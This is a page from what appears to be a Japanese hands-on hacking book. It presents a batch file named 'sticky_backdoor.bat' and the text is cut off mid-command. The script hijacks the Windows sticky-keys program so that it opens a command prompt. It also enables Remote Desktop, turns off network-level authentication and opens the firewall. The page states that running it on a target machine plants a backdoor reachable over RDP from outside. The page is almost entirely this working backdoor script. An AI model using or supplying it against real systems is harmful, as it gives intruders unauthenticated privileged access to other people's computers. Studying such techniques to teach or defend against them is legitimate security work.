
678
第2部 ハッキングを体験する
バックドア作成用のバッチファイル
ここで解説した一連のコマンドをバッチファイルにすると、次のようになりま
す。このバッチファイルをターゲット端末上で実行できれば、バックドアが設置
され、さらに外部からRDP 接続できます。
"sticky_backdoor.bat" ファイル
REG ADD "HKLM¥SOFTWARE¥Microsoft¥Windows NT¥CurrentVersion¥Image ↲
File Execution Options¥sethc.exe" /v Debugger /t REG_SZ /d ↲
"C:¥windows¥system32¥cmd.exe" /f
REG ADD "HKLM¥System¥CurrentControlSet¥Control¥Terminal Server" ↲
/v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD "HKLM¥SYSTEM¥CurrentControlSet¥Control¥Terminal ↲
Server¥WinStations¥RDP-Tcp" /v UserAuthentication /t REG_DWORD ↲
/d 0 /f
netsh firewall set service type = remotedesktop mode = enable
netsh advfirewall firewall set rule group="remote ...